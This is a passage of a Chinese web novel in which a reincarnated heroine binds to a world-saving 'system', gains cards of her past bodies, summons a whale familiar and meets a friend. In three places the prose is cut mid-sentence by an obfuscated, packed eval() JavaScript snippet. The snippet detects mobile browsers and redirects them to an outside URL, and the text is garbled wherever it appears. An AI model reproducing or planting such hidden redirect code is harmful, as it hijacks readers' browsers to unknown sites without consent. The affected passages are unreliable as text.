《你到底有多少马甲啊!》 1. 退休后 D-97453星系,维泽斯星,东区。 这是一间普普通通的救济房,房屋空间狭小,勉强算得上整洁,摆放几张褪色的桌椅、床铺便满满当当,各种家具之间仅留下一人行走的空隙。 都是些古旧的家具,以绿色和白色为主,墙壁上晕开大片的黄色污渍。 整个房间最有价值的大概是一台型号老旧,早已被淘汰的温度调节器,本该被送进垃圾处理厂的它大大超出使用年限,却还是挣扎着,抽搐着,发出不堪重负的呜呜声。 一个黑发绿眸的女人端坐在生锈的桌前,神情专注地望着手中淡蓝色的澄澈液体,看了一会儿,顺手放回支架上,意念一动,光脑的光屏浮现在眼前。 [神经史莱姆:大师大师,你上次寄给我的启灵液超级好用!!!你真是个天才!研究院那么多人做出来的药剂效果比你差一万倍!麻烦再给我寄二十支!钱不是问题!!!] [宇宙第一药剂师:行,一个月后交货,定金记得先打过来。] [您的星网账户到账200000星币!] 这个喜欢发感叹号,让对话框看起来十分吵闹的人是她的重要客户,出手大方,胆子大(好骗),三无产品也敢买来试试。 在第一次交易过后,此人对她的药剂质量赞口不绝,声称连科学院的院长都比不上她万分之一的水平,用词浮夸又极端,和他的用户名一模一样。 冤大头主动开启了长期交易,时不时就赞助一笔经费,池危也利用这笔经费买原材料制成药剂敷衍冤大头,也正是与他的交易才让池危毕业后迅速还完了学校的贷款。 池危看着新到账的二十万身心舒畅。 之前打来的钱只够还助学贷款和购买最低数量的药剂原材料,现在的二十万才是真正可以自由支配的。 让她想想,这二十万,够买一款最新的光脑,现在她手上的型号太旧了,总是卡。剩下的钱则是要留着买材料和日常开支,等尾款到账,就可以换一栋好一点的房子了。 池·刚成年并恢复记忆·危如是想。 就在这时,耳边突兀地响起一道奇怪的声响,打断了她的畅想。 “叮!模块加载完毕,欢迎使用‘从零开始拯救世界’系统。” 毫无起伏的机械音令池危挑了挑眉。 智械族?但很快,接下来的对话让池危否定了这个猜想。 声音停顿一瞬,再次响起,却是不同于方才的轻快,“宿主您好!我是‘从零开始拯救世界’系统,很高兴认识您!” “但是现在本系统要告诉您一个不幸的消息,您的世界正在遭遇危机,世界的声音将我吸引而来,遇到了您!也就是说您就是被选中的救世主,天选之子,系统将辅佐您一步步走向世界巅峰,拯救世界!届时,无论是实力,财富,名望统统都是您的囊中之物!” “怎么样,要不要考虑一下绑定系统呢!” 不,不会是智械族,它们对拯救世界没有兴趣,长处在机械上,精神力天赋很差,她略微试探就可以查到信号来源,智械族不可能在她面前隐藏住自己的位置,但她刚刚的试探,竟然遇到了阻碍。 灵界的?不像,人族的高科技?也不像,池危排除了一大堆种族,连虚空生物都考虑过了,最终得出结论,这个小东西不像是本世界的产物,也不知是经过规则同意的呢,还是……偷渡客。 而且,它似乎很有自信…… “抱歉,系统,我对拯救世界不感兴趣。” “没错,我就知道你会——” ??? 不对,它突然反应过来,这个人类没有答应它。 “诶!你你你,你竟然拒绝了!” 系统仿佛不敢置信,又似乎此事超出了它的理解范围,焦急地扭来扭去,但很快又冷静下来。 “宿主,您是此世界检测出的最合适的人选,如果您不绑定的话,任务很可能失败。 一旦失败,世界将面临一场重大危机,甚至可能伤其本源,本世界的生灵也将遭遇浩劫。这一点上,世界意识已与系统达成一致,没必要骗您。” 道德绑架?她最讨厌的做法。 池危轻轻晃动玻璃瓶,液体折射出晶莹的光泽,她眼神放空,悠远深邃,如同两颗暗色的祖母绿宝石。 “可是……”她沉吟片刻,“我已经决定退休了,本世界能人辈出,神明众多,强大的幻想种数不胜数,难道除了我,没人能,呃,拯救世界了?” 那些神明怎么回事,平时找不着就算了,现在连本源世界都不管了。而且,如今世界屏障如此脆弱了吗? 竟然连其他宇宙的小东西都能放进来,看这情况,总有一种熟悉的,被命运往前推的感觉,一般这种感觉出现就说明某些家伙在算计/安排她了。 祂们又在搞什么?如果此方世界真的沦落到仅靠她,一个刚刚转生觉醒的脆弱人类来拯救,那么多强者全都无能为力,还是直接宣布放弃吧。 不是阴谋就是笑话。 “神明或是隐没虚空,或是陷入沉睡,或是对世界存亡毫不在意。而幻想种们天生强大,自可以全族遁入其他宇宙,虽然有所伤亡但他们完全不在乎其他种族,各自为政,是不会愿意拯救世界所有生灵。” “可是占据全宇宙,数量最多人类不行,人类与世界息息相关,是撑起世界的脊梁,根据检测,人类对其他种族的好感度很高,流传在冒险者中间的勇者拯救世界的传说也十分盛行,因此是最佳选择。” “当然了,经过系统的检测对比,您身上与世界与很多强者的联系最密集,处于命运的漩涡中,机遇与危机将会汇聚到您身边,牵一发而动全身,您采取行动牵扯着诸多人的命运,是本世界最合适的人选!” 见池危的态度有所松动,系统眼中快速闪过密密麻麻的数据流,搜索出应对池危的最佳答案。 系统仿佛又变成了之前平直的机械音,客观地将一切展现在她面前。 池危承认,系统说的有一定道理但某种意义上又毫无道理。 这番言论像是谁特意灌输给它似的,再加上本来就不太聪明,只看冷冰冰的数据,得出这种极其表面的结论。 新来的系统不了解本土神明,本土神明是规则的具现,与本世界联系紧密,至少在目前阶段,祂们无法彻底摆脱本源世界。 【群星】博爱又无情,无处不在却悄无声息,【永夜】沉默而神秘,踪迹难寻,【生命】沉睡,死活之间难以定义,【命运】漫无目的,难以捉摸,【时钟】只留投影,【工匠】一心研究…… 但祂们逸散的神力会无意识地加固维修世界屏障,维护世界规则的正常运行,如果有灭世之灾,除非祂们自顾不暇,否则再散漫的神明也会立刻将其掐灭在萌芽阶段。 再说了,她池危虽然有些特殊,经历了几十次转生,曾经有过许多赫赫有名的身份,实力也一度达到过神级,可那都是往日的荣光了。 如今的她并非完全形态,实力下跌严重,只是勉强掌握几条规则,觉醒后也只达到传奇阶段,职业未定,还没开始践行和宣告,只是个脆弱的,刚成年的人类。 这样的她,如何能解决连神明都无法解决的问题? 相信如果背后没有某些神明的影子,系统不可能会找到她。 所以,事情已经很明了了,祂们想借系统让她做什么呢? 又或者,曾经的,完全体池危想干什么。 “系统,作为一个目标是救世的系统,你有什么功能吗。” 仿佛听到了绑定成功的胜利讯息,激动的系统不敢错过池危松口的机会,连忙调出面板。 “我们‘从零开始拯救世界’系统可是很智能的,会根据每位宿主的情况量身定制奖励和任务,特别是新手大礼包,一定是最适合您目前情况的。”它一边说一边检索数据,疑惑地诶了一声。 “怎么宿主的信息全都是未知啊!数据库有病毒吗?明明昨天才排查过呀。” 系统不可置信地继续自查消毒,还不忘翻大礼包。 “而且这大礼包怎么只有卡牌,还是曾经用过的身体,什么意思?宿主能有多少身体。 这么寒酸,真是降低我们‘救世’的格调!看到这种大礼包,宿主能有动力吗,能完成新手任务吗?” 池危没有回答,而是静静地从上到下扫了一遍面板,心湖掀起一些波澜。 【姓名:池危 年龄:32(???) 位阶:??? 种族:人类(???) 天赋:???】 这些未知她倒是不意外,毕竟她这个情况她自己都搞不清楚,估计只有寥寥几位神明才能了解一些,让她意外的是奖励。 可获得十次抽奖机会,保底一张SSR。 居然连她用过的身体都能复原拿回,如果要她相信这是外界系统自己的能力,还不如相信【永夜】会讲笑话,【工匠】不当死宅了。 越发有种被命运推着走的感觉了呢…… 系统还在耳边喋喋不休地念叨,“这不可能啊,不说那么多未知,就说这新手大礼包,一般不都是一些洗筋伐髓的宝物和功法,提升天赋的药剂或者高级装备的吗,怎么会这么少啊,不可能!宿主不会觉得我在骗她吧呜呜呜。” 池危忍了又忍,还是没忍住,无形的力量在虚空中拽了一把,一个白色的光滑小球掉了出来。 小球一边呜呜呜一边变成水蜜桃一样的粉红色,池危一把抓到手中捏了捏。 嗯,滑滑软软的,还很有弹性,手感和想象中的一样好。 她饶有兴味地支起下巴,威胁道:“再哭就把你切碎榨成汁喂狗哦。” 小球登时止住声,半晌才反应过来它眨眼间已经换了个地方。 怎么回事,刚刚不还在虚空中吗,这里是哪里啊,怎么突然就被宿主拽过来了!球身微微颤抖,“我,你……”它眨巴着水汪汪的黑色眼睛,有些害怕地望着池危。 系统感觉就像被扒光了似的毫无安全感,而且系统明明是没有实体的却被宿主捏在手心里,好像命脉都被捏住了。 在安全的幕后运筹帷幄,和被抓到台前明显不一样。 之前自恃宿主拿它没办法才敢肆无忌惮,现在意识到危险不敢再像之前那样嘚瑟了。 原来,原来宿主这么厉害,可是,真的好吓统啊,还要把它喂狗! 和前辈们说的一点都不一样! 怎么办,她肯定不会同意绑定系统,说不定还要把它捏碎,刚出生就要死了吗? 可万一,万一…… 池危欣赏够了小球飞速变换的脸色,等到它看起来快要被自己的脑补再次吓哭时才松口,“好了,只要你不再多话,不要总是哭,我就答应你绑定。” 什么!系统被这块大饼砸得晕晕乎乎,劫后余生,峰回路转的喜悦让它无从思考,立刻忘记了之前的害怕和感觉到的危机,生怕宿主反悔似的,飞快地同意了池危接下来所有的不平等条约,还在那傻乐。 “你接下来要潜入星网,发挥自己的黑客功能,搜集网上的异常事件,辅助我完成任务。” “嗯嗯嗯!” “首先,帮助我打理网店,及时反映情况。其次,我所有的命令都要听从,比如,充当解压玩具,缓解拯救世界的压力。” “嗯嗯嗯!我都听宿主的!” “还有,有需要时我会单方面屏蔽你。” “嗯嗯,好的呢!” 池危一边捏,一边怜爱地看着系统。 自从绑定之后,小球身上的粉色一直没变过,它甚至在空中飞成了个小蜜蜂一样的八字,“宿主,宿主,开始抽奖吧!马上就要和系统一起拯救世界啦!” 这个系统看起来没啥经验,也很好骗,被诸神玩弄与股掌之间,蠢得让人不忍心多看,怪不得被放了进来,估计这小东西有坏心思也会被骗得连裤衩子都没了。 也不知怎的,她的恶趣味都被勾出来了。池危抓住小球,上下抛着,顺手用意念点向面板上的按钮。 [嘀!恭喜宿主抽中SSR自然之神,SR终末的勇者,SR吟游诗人,以及七张R卡。] 几张闪闪发光的卡牌出现,翻了过来,在她面前依次排开。 金,紫,紫,其余都是蓝。 “哇!宿主好厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212869|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !好厉害!”池危还没表示什么,气氛组便在一旁绕着她叽叽喳喳地欢呼,甚至撒了几捧无形的花。 这次抽卡有点出乎她的预料了,一向运气平平的她这次居然手气不错?也不知道有没有保底,怀着莫名的心情,池危一一看向几张卡牌。 先从SSR开始看,看到R卡,R卡是未觉醒的夭折卡牌,没多大用,跳过,主要还是前三张得力战将。 金发绿裙,发间插满鲜花,面容被圣光遮掩看不清楚的神明与池危对上视线。见到她就仿佛见到草木生长,枯木发新芽,万物生灵都在其脚下聆听圣音,亲切得想要靠近却不容亵渎,威严令人折腰。 池危摸摸下巴,有点怀念啊,【自然】无疑是强大的,只是在如今的星际时代,绿化少得可怜,天然的果蔬鲜花都算奢侈品,已经很少有人像从前那般再赞美自然,虔诚地拜服于自然的伟力了。 所以自然之神的神力在规则下逐渐衰弱,只能陷入沉睡。 这个是池危早期的身体,位格不算太高,这具身体是天生神灵,因为一些原因早已陷入永眠,只留毫无意识的躯壳,她才能进入下一次转生,她还以为这具身体还在虚空漫无目的地飘荡,或者已经消散了呢。 如今再看到自然之神这个名号,忍不住在漫长的记忆碎片中揪住一个线头,牵扯出一段回忆,再次品味,嘴角无意识地上扬。 她很快回过神,移开视线,一转头,又与吟游诗人对上视线,翠绿色的眼睛狡黠地冲她眨了眨,仿佛在说:嗨,你好呀! 另一边的勇者则是拿着重剑,看向她,沉稳地点点头。 这时,系统也反应过来,“诶,自然之神?难道宿主曾经是自然之神!哇,宿主也太厉害了!和宿主绑定的系统也超级厉害!” 系统依旧保持着它天真无邪的统设,没有纠缠这个问题不放,只是惊叹一番,顺便吹吹彩虹屁。 还算省事…… 池危接着查看SR,勇者和吟游诗人活动的时间都在远古时代,远古时代即各大种族还未走向星际,主要活动于赫德尔斯顿大陆,科技较为落后的时代。 而在“萌芽”事件后,母星遭到无可挽回的惨重毁灭打击,启动方舟计划转移各种族,由此开启了征服星海之路。 除了那些长寿种族,应该没有人记得在众神中早早沉睡的自然之神,也很少有人记得曾经大陆上第一吟游诗人,被世界定下名号的“曙光颂者”,被所有种族所有国家一致认同的传奇吟游诗人,“永续的第七和弦”。 勇者倒是挺有存在感,但被记录下来的面容声音讯息都很模糊,那个落后的年代没有高科技长时间保存,只有王室留有些许资料。 吟游诗人长处在与亲和力和敏捷,勇者在于武力和凝聚力,自然之神不能随便用,但对唤醒生机,使万物复苏比较擅长。 现在关键之处在于这些身体是以什么形式被她使用的。 她试着使用卡牌,选择勇者牌。 唔,有种熟悉又陌生之感,好像自己又回到了前世,前前世,记忆和力量在体内复苏,自己的身体与前世的身体毫无异样地融合了。 再换成半精灵。 丝滑切换,毫无卡顿,眨眼间,沉稳可靠的勇者消失,取而代之的是狡黠一笑的吟游诗人。 池危发现,若是自己想要再次切换成勇者,只要心念一动就可以,好像身体已经彻底融合掌握,而不是借用系统的力量。 感觉很不错,那么,以后干坏事的时候就可以不用现编了,前世的身份都是自己的马甲!用来背锅的马甲众多,应有尽有,各有千秋,而且毫无漏洞啊! 感慨一番,最后总结使用体验,马甲们都是巅峰时期的自己,位阶实力不变,没有后期的伤势,服装也是巅峰时期的,还有配套的一些武器装备,不过等级太高的半神器,神器和圣器没有,据系统说这些也可以抽出来,小声蛐蛐一下,这一看就有【时钟】的手笔在。 简单整理收获之后,她点开面板。 蹦出一行大大的字,写着新手任务:合格的救世主怎么可以没有小助手呢,请宿主召唤专属使魔! 奖励:五枚晶石,三支宗师级治疗药剂。 晶石是所以任务的基础奖励,用以抽卡。 至于药剂,她并不缺,这个奖励只能说是聊胜于无吧。 接下来打开主线任务。 主线任务在一张大大的星图上,标注人族星域的地方有一颗小星星被点亮了,其他星域都是未解锁状态。 池危点开唯一可见的任务:人族危机之维泽斯失踪案(请宿主调查并解决维泽斯星的隐藏危机,进度0/3) 任务名简洁明了,一看就懂,而且看起来人族危机还是系列任务,也许还会有个最终任务,估计得完成第一个后才能解锁后续。 唔,没想到第一个任务就在她的出生地,也不知道是幸运呢还是倒霉呢…… 至于人族面临的危机,这个她倒是有所猜测,不是天灾就是人祸,人祸方面,神殿的人和疯子们都不安分,暗处的争斗从不少见。 天灾就多了,虚空入侵,各种污染,宇宙碰撞,屏障不稳,空间坍缩,中子星爆炸,甚至星海生物不小心撞了一下都算是天灾,太多了,数都数不清,没有调查就没有发言权,她先不瞎猜了。 不过,她原本的退休养老计划算是彻底泡汤了。 唉,池危叹了一口气,为自己的劳碌命心疼。 这一次转生觉醒后,冥冥中有种预感,法则告诉她,这将是她的最后一次转生。 最后一次啊,一次又一次轮回,死去又重生,生生死死,明明灭灭,无数次人生她早已厌倦,这最后一次本打算就这么稀里糊涂,悠哉悠哉地过去,不管那些纷纷扰扰,就当做人生最后一段路程。 悠闲又自在,什么危机,什么阴谋,总有人解决,天塌下来也有高个子顶着,何必都担在自己身上?可是,命运最终还是将线头递到她的手中,让她自己选择,她最终,还是放不下…… 池危闭了闭眼睛,罢了,大不了一边休息一边调查,总不能让她这个退休的老人家007,996吧。 池危不确定地想。 2. 新手任务 池危正在准备召唤使魔的仪式。 将黑曜石,银镜放在用银粉绘制成的魔法阵中间,她剪下自己的一截头发,又肉痛地点燃了一小块的龙血树脂,注入魔力,念道:“穿过灵之回廊与影之帷幕,$%#@&,凡吾所有,尽皆可享,应召而来!” 中间奇异的话语代表召唤者的要求,意思大概是这样,灵界中最乖巧的小助手啊,拥有可爱的外表,最好是毛绒绒的,心灵手巧,有一定实力,能够帮助她完成任务,若是愿意契约,契主将与其共享精神力,和契主所拥有的一切,永不抛弃。 翻译一下就是无论贫富贵贱,生老病死,双方不离不弃,若和平接触则使魔自由回归灵界。 内容和结婚誓词很像,但使魔的契约比婚约更苛刻更牢固,是真正的出生入死的伙伴,而且具有唯一性,不像结婚结多少次都没问题。 誓言完成后,魔法阵逐渐发亮。 与此同时,系统那边显示新手任务已完成,奖励的药剂同步出现在桌子上,晶石则储存在系统空间,池危随手将药剂收到空间钮内,之后将系统被暂时屏蔽了。 因为目前池危对这玩意持保留态度,不想让它深入参与自己的生活,她打定主意无事屏蔽,有事取消,双方保持距离。 此时,灵界。 一个巨大而繁复的魔法阵凭空出现在天空中,无形的漩涡倒映出模糊的召唤者影像,阵势之大几乎引动了所有灵界生物的注意,就连一些陷入沉睡的家伙都被这气息惊醒。 普通居民自觉达不到要求,退出竞争,只有实力不错的小辈们沉不住气,先动了,年纪大的,还在观望,更矜持些。 “嘤嘤嘤!”一只桃花九尾狐仗着自己离得近,速度快,朝着漩涡飞奔,粉嫩的九条尾巴随着奔跑不断甩动,将一众密密麻麻的竞争者甩在身后,它得意洋洋地回头嘲笑一声,就准备钻进漩涡应召。 这个召唤者的气息它喜欢!幸好它反应快,要不然就被那些家伙抢先……? 怎么回事? 它一只爪子明明都碰到召唤阵了! 九尾狐整个狐凝滞半空中,目眦欲裂地感受到一道擦肩而过的气息,那道气息飞速钻入漩涡,召唤阵渐渐消失。 啊啊啊啊啊啊!!! 太不要脸了!灵界生物的规定就是一旦有生物应召,其余生物不得插手,可那个家伙仗着自己强大,欺负弱小,公然破坏规矩,太可恶了!它要找长老们主持公道! 九尾狐忿忿不平地落地,气势汹汹地在地上刨坑,发誓定要将那小贼绳之以法。但还没等它实施自己的计划,就被突然的变故吓住了。 好,好强大的气息。一道又一道,古老神秘仿佛从荒古中而来的强者们从漫长的沉睡中醒来,不约而同地聚集在此。 身形庞大的圣灵鹿蒙着耀眼的圣光,洁白神圣;狰狞庞大的远古巨龙遮天蔽日,呼吸间喷洒硫磺的气息,势如山岳。更有螣蛇,烛龙,巨树,凤鸟……从前只能在祭祀时瞻仰一瞬的神话生物如今蜂拥而至,挤在这个小地方。 虽不是有意,可祂们山海般的磅礴气势却压得此地的弱小生物匍匐在地,瑟瑟发抖,差点喘不过气,就算是九尾狐年轻一代的佼佼者也不例外。 雷鸣般的嗡嗡声响起,好像在说什么“是她吗”“可惜被那家伙抢先一步”“她终于回来了”之类的,震得九尾狐耳朵渗出血色,勉强能够辨认几句没头没尾的话。 好在,这群强者很快离开了,没在此地逗留,这让九尾狐狠狠松了一口气,毕竟如果祂们一直不离开,光是灵压都能把它压死。 九尾狐望着周围早已昏迷的生物,再也坚持不住,陷入黑沉,昏迷前,它还迷迷糊糊地想,祂们这次破天荒地醒来,会不会是因为这次召唤者?如果真是这样的话,自己没抢到她也很正常了…… ** 那边的灵界上下震动暂且不提,池危这边也陷入了沉默。 “毛绒绒?心灵手巧?”她晃了晃看似柔弱无害,可爱呆萌的星云鲸。 池危左看右看,愣是没看出这家伙和她的召唤要求有什么关系,没有毛,而且一来就没控制好力量,巨大的力量冲击差点让她本就破破烂烂的房子从此消失,就算及时被她制止了,也成功让她空荡荡的钱包雪上加霜。 池危忍了又忍,还是没忍住。 想想,这是她从前捡来的小东西,是回忆,是过去…… 她眼眸微眯,神色危险,“碎星,虽然不知道你是怎么找过来的,可如果你不能把我的房子复原……你不会想知道后果的……” 碎星本来在欢快地喷水嗡鸣,听到此话立刻浑身一僵,尾巴不甩了,水也不喷了,仿佛想到了什么可怕的事情似的,接着,鲸身上立刻长出无数条粗长的触手,将打翻的桌子扶起,破碎的器皿复原,床铺理整齐,地上的垃圾全部吸走,布满裂纹的墙壁转瞬间光滑如新。 做完一切,将整个房间打理得比之前还要整齐干净,它才收回触手,又变成一只巴掌大的小鲸鱼,眨着亮晶晶的眼睛,飞到池危面前邀功。 池危心情好了不少,钱包保住了。 接着捧起碎星,端详片刻,似是无奈,似是感慨地轻轻叹息一声,“为什么还要回来呢,碎星,你是宇宙间自由自在的星云,如今……” 她将圆嘟嘟的小鲸鱼放在眉心处碰了碰,这是曾经她们心照不宣的亲密动作。 碎星眨巴眨巴眼睛,好像不懂她的意思,嗡嗡地喷了个水花。 “呵,又装傻。” 池危突然话锋一转,语气霸道冷酷,方才的脉脉温情顷刻间碎成了玻璃渣,“算了,既然选择回来,就别想再走,我的使魔,永远不许离开我。” 这话它爱听! 小鲸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212870|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼整条鱼像是被蒸熟了一样,肚皮翻上去,晕晕乎乎,脸颊浮现两坨红色。 危危好霸道,它好喜欢!碎星才不会离开,找了危危好多好年才找到,绝对不会再走丢了! 没管碎星叽里呱啦的心理活动,池危手心凭空浮现一个小型的契约法阵,按向碎星的眉心,发丝无风自动,二者脚下同时出现魔法阵,逐渐融合,消失。 发丝垂下,池危睁开双眼,感受到一缕陌生又熟悉的联系,望向鲸鱼的眼神微变。 “现在,我们该算算账了。”她仿佛在情人耳边柔声低语,“我的毛绒绒呢,小,鲸,鱼。” ** 灵能管理局。 柱状水晶平稳地发着蓝光。 “刚刚东区的能量有一瞬间的剧变,甚至达到了神话级的能量场。”负责监测能量仪的黑衣军官惊道。“我们这小地方怎么会引来这种大人物?会不会是哪个灵能者的非法实验失败导致的能量波动。”另一人挠了挠头。 那人沉思片刻,低声下结论:“不会,能量波动只有一瞬,说明是不小心泄露,很快就被那人控制住了,若是实验,能量应该是逐渐降低,而不是断崖式的回归均值。” 他转头吩咐,“快去通知调查处尽快去东区探查,注意,一定要小心谨慎,尽量不要暴露自己,以安全为上。我去向上级反映。” 那人接到命令后转身离去,独留长官自己压抑着惊惶。前些天大规模失踪案件还没解决,又来了个疑似神话级的强者,一波未平一波又起,有种莫名不好的预感,风雨欲来啊…… 正在他沉思时,熟悉的气息从身后袭来,长官头也不回,向旁边一闪。 被来人打断思路的陈霜易无奈道:“我说了多少次,凌鸦,不能随意在这里走动,也不能从背后偷袭我,若我没反应过来容易伤到你。” 来人正是陈凌鸦,是东方血统最纯正的黑发棕眼,此人今日一身复古的魔法师袍子,深蓝中闪烁着点点星光,袖口宽大,胸前佩戴着烫金纹章,头戴一顶绣着星月符文的尖顶帽,走起路来,腰间的金属配饰叮当作响。 她晃晃脑袋,陈霜易叮嘱的话语左耳进右耳出,丝毫不理会,重复着老舅往日的念叨“是是是,虽然不论我走到哪都有两个人跟着,虽然这里三步一监控,五步一警报,不让随便看,但是军事重地不可随意走动。” 说完她抬手拍拍陈霜易的肩膀,话锋一转,两眼放光,“对了老舅,你不是答应今天送我和小池返校参加毕业典礼的吗,你不会忘了吧!” 还真忘了…… 陈霜易早就被灵能波动异常的事占据全部心神,此时被她提醒才想起来,但他毫不心虚,“当然没忘,你那个同学住在哪,我马上送你们过去。” “东区,查理斯大道。” 诡异地沉默片刻,陈霜易忍不住惊呼,“又是东区?!” 3. 好朋友 “……碎星,这个有点太高调了。” 池危看着碎星变成的粉色九尾狐,沉默片刻,忍痛拒绝。 半人高的小狐狸漂浮在半空中,浑身的毛发晶莹透亮,泛着粉晕,眼角带着花瓣的印记,瞳孔中心是朵娇美的桃花,十分漂亮,无一处不符合池危理想中的使魔。 就是太漂亮了,街上走一圈回头率百分百,想想就很可怕,而且……池危眼睛微眯,“我怎么不记得你有这么好的审美了?莫不是……” 碎星顿时一个激灵,两只爪子不自觉搓来搓去,“嘤嘤嘤!”主人!我就是觉得你喜欢这种样子,才模仿了一下灵界的生灵,主人要是不喜欢,我变个样子好了。 酸不溜秋,茶里茶气,逗得池危轻笑一声。 被看穿小心思后,它也不敢再整什么幺蛾子,老老实实变回从前习惯的幼狼样子,巴掌大,灰白色,像朵即将散开的蒲公英,热乎乎,软绵绵地趴在池危的肩上,头顶的白毛都郁闷地耷拉了下来。 池危如从前那般,揉了揉它的脑袋,轻声道:“走吧,碎星。” 碎星被这句熟悉的话语晃了一瞬,怔怔道:“好的,主人。” 一切似乎都没有变化,仿佛他们分开的这几千年时光如沙般随风而逝,模糊锈蚀,它一直趴在主人的肩头,陪她经历风风雨雨,从未分开过。 这一次,无论发生什么它都绝对不会离开主人。 碎星黝黑的眼眸反射出光亮,恍惚间,让人以为是滚落的泪珠…… “咔嚓。” “凌鸦,你在干嘛?” 池危推开门,便见陈凌鸦举起手,一身奇装异服,造型很是奇特。 陈凌鸦被这个问题闹红了脸,尴尬地放下手,捏着衣角揉搓,“啊,没有,我没干什么,就是想按门铃,没想到你正好出来啦!哈,真巧啊!” 池危轻笑一声,也不拆穿她,而是直接拉住她的手,“走吧,不是要参加毕业典礼吗,再晚可就来不及了。” 头顶无数悬浮车顺着交错的光轨疾驰而过。 人尴尬的时候总是会假装很忙,陈凌鸦此刻便是这样,眼睛乱瞄,胡言乱语起来,“小池今天真俊啊,不愧是咱利亚姆学院一枝花,瞧瞧这大长腿,多长啊……呵呵。” 池危今天确实好好收拾了一番,斥巨资买了几件附带简单温控功能的新衣服。 一件简单的白色衬衫,外罩黑色风衣,扎着低马尾,墨发垂至胸前,踩着深褐色长筒皮靴,双腿笔直,腰间系了条由银色金属环组成的腰链,勾勒出劲瘦的腰身,整个人高挑笔挺。 看起来精神俊气,又有种神秘而矛盾的气质,温和与深邃糅杂,斯文中透露出一丝势不可挡的锐气。 尤其是那双祖母绿的眸子,一眼望去如同深不见底的碧海,让人不自觉沉溺其中。 陈凌鸦说着说着突然注意到池危肩上的白色幼狼,惊奇道:“呦,这什么,装饰品吗?还挺好看的。”她一边说一边用手戳戳。 碎星不高兴地嗷呜了一声。 之前它一动不动趴在池危的肩上,没有任何动静,假装自己是个玩偶,所以也没引起别人注意,如今被打扰,也不装了,直接站起身,表达不满。 陈凌鸦登时被吓了一跳,她求助地望向池危,指着碎星说不出话,“它它它……活的!” 池危肯定地点点头,“它叫碎星,是我的使魔,刚刚才召唤出来,至于具体的,说来话长,我待会慢慢跟你说,一时半会解释不清。” “啊,这样,那你待会儿到飞艇上可得好好给我讲讲来龙去脉!”陈凌鸦没有多做纠缠。 池危轻笑着答应了,笑完她沉吟一声,给一人一魔互相做了介绍。 “这是陈凌鸦,我的好朋友,碎星,以后你们要好好相处哦。” 陈凌鸦快活地招招手,“嗨你好!”,碎星也傲娇地嗷呜一声,瞥了眼陌生人类,表示知道了。 之后便是陈凌鸦一路专心逗碎星,连往常最爱撩拨的清洁机器人都忽视了。 不过陈某人的热情也不是那么好消受的,起码碎星被烦得嗷呜直告状,毛都快炸开了,池危不得不制止了陈某人癫狂的行为,并好好安慰了碎星。 陈凌鸦消停不久又转移了注意力,自以为隐蔽地悄悄偷看池危。 她觉得池危今天有种说不上来的感觉,焕然一新,像是萎靡的树苗突然得到阳光,又像是珍珠被擦去浮尘,熠熠闪光,整个人自信从容起来,而且…… 陈凌鸦迅速瞥了眼被牵住的手,池危从前可不会这么主动。 不过,作为朋友,她非常欣慰池危的变化,心里那点不自在很快便被快乐取代。 她晃了晃手,歪头笑道:“小池啊,可别说我不把你当朋友,我今天可是特意把我家最棒的飞艇都弄过来了!” 她指着面前悬停的飞艇开始一长串的介绍,跟据陈凌鸦所说这架飞艇出自飞度科技银河系列极速小型飞艇,可在半小时内飞越一个中型星。 流畅优美的外形,昂贵的黑金色渐变恒温涂料,每一处细节都在诉说一个字:贵! 池危肃然起敬。 二人路过驾驶舱时正好被陈霜易听到她正大言不惭地夸耀自己的功劳,他毫不客气地拆穿了,“你?陈凌鸦你就动动嘴皮子,指挥我来送你们俩,飞艇也是我的,可真好意思!” 陈凌鸦也不反驳,敷衍意味甚浓:“是是是,老舅您居功甚伟,全靠您送我们这两个柔弱的小女孩回校,没了您,我们可怎么办啊。” 说完话题一转,“来,给你们正式介绍一下,这是我的朋友,池危。这是我的舅舅,陈霜易。” 陈凌鸦揽着池危,走近陈霜易,陈霜易则带着微笑从驾驶座起身,“你好,小池,你就是凌鸦成天挂在嘴边的超棒的朋友吧?” 他的视线扫过池危,温和又亲切,带着职业习惯的轻微打量,扫过碎星时正好对上那双蓝眸,怔愣一瞬。 “您好,陈先生,我是池危,很高兴认识您,非常感谢您能抽空来接我和凌鸦。”池危笑着说道。 陈霜易多看了她一眼,又望向陈凌鸦,颇有些恨铁不成钢,“看看人家,再看看你,穿的什么奇装异服,人家连使魔都有了,是精英级,正式踏入了修炼道途,同样是刚毕业,再看看你!” 使魔并不少见,但在刚成年的这个年纪很少有人能够获得,召唤使魔不仅要熟练掌握复杂的召唤法阵,还要灵能者的位阶达到精英级,因此使魔一度成为精英灵能者的标志。 灵能者是指具有魔力天赋的智慧生物的总称,包含各种职业,包括法师,骑士,牧师,药剂师,炼金术师等等。 灵能者通常在三十岁左右觉醒魔力天赋,往往需要五年才能达到精英级,从小泡在资源里长大的陈凌鸦也还差一点达到精英级,而之前天赋觉醒失败的池危居然不声不响地突破了。 虽然看到使魔就已经知道池危到了精英级,但现在听舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 